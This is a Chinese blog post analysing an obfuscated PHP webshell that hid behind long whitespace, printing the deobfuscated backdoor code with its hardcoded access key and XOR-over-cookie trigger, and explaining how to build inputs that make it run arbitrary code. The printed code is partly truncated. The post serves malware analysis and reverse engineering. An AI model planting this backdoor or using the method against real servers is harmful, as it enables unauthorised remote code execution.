php变量函数后门,项目实战 | 记一次对某猥琐PHP后门的爆菊

最近遇到个文件,打开一看只有几行注释?看了下字节数却很大,横向进度条很长啊,通过web访问是空白,看上去应该是藏了后门了。ps:这种方式遇到粗心/没有经验的管理员可能混过去,但若使用win自带的记事本(需开启自动换行)则一览无余。

66b00dadcb8511ffa58b18918cfffec2.png

实际上换行整理一下:

5fe9cf13ba517dd9d4da54a77277bcc7.png

用Notepad++自带的正则替换简单做了下格式处理。

另外在下面的代码中发现了 eval/*r49557ec*/(

c6fe986821fcb1c658b0b192b84f238a.png

还插了注释,这个小方法很有意思,测试了下函数与"("中间插注释确实不影响执行。

但实际我测试用类似的注释方式填充敏感函数,过不了D盾。

一.还原庐山真面目

在进行替换/整理/和谐部分变量名之后,得到如下完整后门代码(整理后代码):<?php $da59aa5 = 208;$GLOBALS['w8fd00d8'] = Array();global $w8fd00d8;$w8fd00d8 = $GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['a904'] = "\x2f\x25\x32\x54\x75\x3a\x5e\x36\x31\x48\x21\x5b\x30\x66\x20\x5f\x56\x5a\x4d\x23\x3e\x37\x71\x29\x26\x2c\x68\x7e\x5c\x9\x64\x69\x6e\x3c\x6b\x2b\x61\x2d\x4a\x47\x42\x7c\xa\x6a\x7b\x6f\x52\x27\x4c\x39\x55\x63\x4b\x7a\x49\x3f\x5d\x76\x33\x59\x43\x62\x24\x38\x79\x70\x72\x67\x28\x35\x46\x3d\x7d\x65\x57\x41\x53\x44\x73\x60\x58\x34\x77\x22\x6c\x6d\x4e\x45\x4f\x40\x78\x74\x50\xd\x2a\x2e\x3b\x51";@ini_set('error_log', NULL);@ini_set('log_errors', 0);@ini_set('max_execution_time', 0);@set_time_limit(0);if (!defined('ALREADY_RUN_366afb8a8a2355ab21fbf11ba1a02fba')){define('ALREADY_RUN_366afb8a8a2355ab21fbf11ba1a02fba', 1);$vv = NULL;$kk = NULL;$w8fd00d8['c77700426'] = 'aec7e489-2fbc-4b15-871f-1d686eeb80dc';global $c77700426;function e664fd($vv, $kk){global $w8fd00d8;$n513761 = "";for ($i=0;$i$v){$vv = $v;$kk = $k;}if (!$vv){foreach ($_POST as $k=>$v){$vv = $v;$kk = $k;}}$vv = @unserialize(x184f5cc(ba se64_decode($vv), $kk));if (isset($vv['a'.'k']) && $c77700426==$vv['a'.'k']){if ($vv['a'] == 'i'){$l71c40 = Array('p'.'v' => @phpversion(),'s'.'v' => '1'.'.'.'0'.'-'.'1',);echo @serialize($l71c40);}elseif ($vv['a'] == 'e'){eval/*r49557ec*/($vv['d']);}}exit();}?>

1.前面的代码部分:需要用到的函数装入变量数组/并拆分拼接

2.定义了两个功能函数,主要用来验证/处理

3.经过一系列限定条件的判断等,最终触发eval/*r49557ec*/(

4.整个后门的函数/字符串传递几乎都是使用数组+拼接的方式进行的这是大致的逻辑,实际爆菊成功之前有几件事要做:1.调试出各种已定义变量的值

2.替换字变量/函数名,增加可读性

3.通过倒序的方式,逐步尝试调用后门,明确调用逻辑。

首先前面几行:$GLOBALS['w8fd00d8'] = Array(); //定义全局数组,用于保存后面的各种函数名/字符串,以及直接作为函数执行 ,如$GLOBALS['xx']()global $w8fd00d8;$w8fd00d8 = $GLOBALS;//这里有一个发现,如果变量是被$GLOBALS赋值,那么此变量也会随着$GLOBALS的值实时更新

如:$test = $GLOBALS;访问:?handsome=t00ls$test值也有handsome=t00ls

这个特性我查了半天资料,没有找到原因。

下面:${"\x47\x4c\x4fB\x41\x4c\x53"}['a904'] = "\x2f\x25\x32\x54\x75\x3a\x5e\x36\x31\x48\x21\x5b\x30\x66\x20\x5f\x56\x5a\x4d\x23\x3e\x37\x71\x29\x26\x2c\x68\x7e\x5c\x9\x64\x69\x6e\x3c\x6b\x2b\x61\x2d\x4a\x47\x42\x7c\xa\x6a\x7b\x6f\x52\x27\x4c\x39\x55\x63\x4b\x7a\x49\x3f\x5d\x76\x33\x59\x43\x62\x24\x38\x79\x70\x72\x67\x28\x35\x46\x3d\x7d\x65\x57\x41\x53\x44\x73\x60\x58\x34\x77\x22\x6c\x6d\x4e\x45\x4f\x40\x78\x74\x50\xd\x2a\x2e\x3b\x51";

查了下似乎是16进制或Unicode编码,双引号情况下可以直接输出其值。

由于是16进制,在单引号包裹的情况下也可以使用chr(hexdec(字符串))进行解码。

当然,我直接打印了所有已定义变量,得到如下:

e5cc12e298311636c14172d782036739.png脚本所有已定义变量:[a904] => /%2Tu:^61H![0f _VZM#>7q)&,h~\ din chr[z2d33f00] => ord[v618c417c] => define[hb67d10] => strlen[r018ad5] => defined[x8a4] => ini_set[n2eb] => serialize[be64] => phpversion[f8d94b] => unserialize[kdd72d] => ba se64_decode[k23b] => set_time_limit[s6f48] => x184f5cc[jf1ef40] => e664fd[c68905ea] => Array

发现

敏感函数unserialize //可能需要反序列化操作其中下标[a904]的值由于存在特殊字符,没有显示完全,另外如需利用到[a904]的值也要考虑这个问题,不能直接输出使用。

二.触发条件分析

当时按顺序读了下功能,事后复盘发现,可能比较高效的做法是倒序着读,顺着最下面的执行逻辑往上去构造条件。

所以既然重点在eval/*r49557ec*/($vv['d']);

那设法$vv['d']可控就好$vv = @unserialize(x184f5cc(ba se64_decode($vv), $kk));

可以先不考虑x184f5cc(ba se64_decode($vv), $kk)是怎么来的,

我们先直接修改$vv的值,看怎样才能满足执行条件。if (isset($vv['a'.'k']) && $c77700426==$vv['a'.'k']){if ($vv['a'] == 'i'){$l71c40 = Array('p'.'v' => @phpversion(),'s'.'v' => '1'.'.'.'0'.'-'.'1',);echo @serialize($l71c40);}elseif ($vv['a'] == 'e'){eval/*r49557ec*/($vv['d']);}}exit();

后门触发条件:

1.$vv需要是数组

2.成员必须存在'ak'且'ak'需等于$c77700426的值

$c77700426的值在上面已有定义:

为'aec7e489-2fbc-4b15-871f-1d686eeb80dc';

3.成员需存在'a',若值为'i'则输出版本,为'e'则触发后门

4.后门执行内容为成员'd'的值

所以$vv需要等于↓↓array('ak'=>'aec7e489-2fbc-4b15-871f-1d686eeb80dc','a'=>'e','d'=>'执行代码' //如phpinfo(););.

直接传入试试有没有问题 :

406a543a8614bef6475d7998e292b61d.png

可以执行,回到上面:$vv = @unserialize(x184f5cc(ba se64_decode($vv), $kk));

那x184f5cc(ba se64_decode($vv), $kk)的返回值就需要是序列化后的上面我们构造的数组

也就是:x184f5cc(ba se64_decode($vv), $kk) 返回值需要等于 a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}

看下x184f5cc()函数做了什么操作?function x184f5cc($vv, $kk){global $w8fd00d8;global $c77700426;return e664fd(e664fd($vv, $c77700426), $kk);}

1.其中$w8fd00d8相当于$GLOBALS

$c77700426是固定值

//'aec7e489-2fbc-4b15-871f-1d686eeb80dc'

2.经过两次核心混淆函数e664fd()的处理

这时候重新理一下:

我们必须使e664fd(e664fd($vv, $c77700426), $kk);的

返回结果为 ↓↓a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}

再来看一下e664fd()函数function e664fd($vv, $kk){global $w8fd00d8;$n513761 = "";for ($i=0;$i

大致功能就是把传入的两个参数值逐个字符转为ASCII码并进行位运算(取反),得到的结果以字符串形式返回。

位取反有个特点:

1.A与B取反=C

2.B与C取反=A

可逆,B^C当然就得到A了。

所以回过头看:

我们必须使函数↓↓e664fd(e664fd($vv, $c77700426), $kk);

的返回结果为 ↓↓a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}

也就是我们需要在第二次我们必须使e664fd()时候,

让e664fd($vv, $c77700426)与$kk的取反结果等于↓↓a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}

于是需要看看$kk的值是如何过来的,foreach ($_COOKIE as $k=>$v){$vv = $v;$kk = $k;}if (!$vv){foreach ($_POST as $k=>$v){$vv = $v;$kk = $k;}}

发现$kk/$vv前后没有做什么验证,代码就是就是比较单纯的获取COOKIE或POST提交过来的参数名和参数值并传给$kk/$vv

我们通过cookie提交来验证一下是否正常输出:

a30149b66a9ff91899a6e7ae9bf119e1.png

没问题!

三.确定爆菊思路

然后我们大致确定下构造的思路:e664fd(e664fd($vv, $c77700426), $kk);

第一次e664fd()执行时:e664fd($vv, $c77700426) //$c77700426 = 'aec7e489-2fbc-4b15-871f-1d686eeb80dc'

需返回能与第二次e664fd()

cookie参数名取反结果

为a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"

......的值

第二次e664fd()执行时:e664fd(第一次的返回值, $kk);

//需返回a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}

所以构造思路如下:(('aec7e489-2fbc-4b15-871f-1d686eeb80dc' ^ cookie值) ^ cookie参数名) = a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}

按照这个逻辑进行参数提交,方可触发后门。

但COOKIE/POST中参数名对特殊字符支持有限,所以$kk(参数名)的值最好在字母/数字范围内,好在$vv(参数值)的值就宽容的多,尤其是由于$vv传递过程需要ba se64解码,所以,cookie值需ba se64编码,可以取反的字符范围就比较大了。$vv = @unserialize(x184f5cc(ba se64_decode($vv), $kk));

我们先把$kk也就是cookie参数名的字符固定一下,比如就叫'tttttttttttttttttttttttttttttttttttttt.....'

(也可以是任意字符 cookie参数名允许即可)

具体长度取决于我们的payload序列化后的字符长度(phpinfo()的序列化

后长度是101个字符),两者长度要一致。

四.写个Payload脚本

我们写个脚本:

大致实现通过传参生成任意执行代码的payload,如果要更懒的话可以直接写提交过去。

Payload代码:

41e7fcd06ae80b82fe9ddefffaa1a2c9.png

生成结果:

818855ab3d1c00df6b3ed4669bec1c48.png

执行结果:

a2f4c841d7dbd08ab958e414abca8fae.png

总结1.心静下来比较难,一旦静下来面对很多问题都能解决。

2.自知没有多少技术含量,都是很基础的东西。希望谅解!

3.感谢AdminTony这段时间对我学习技术的帮助!

问题:

为何我测试许久发现提交的命令只要大于11个字符就报错,应该不是cookie参数名长度问题,希望有兄弟解答!

◆本文版权归原作者所有,如有侵权请联系我们及时删除

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值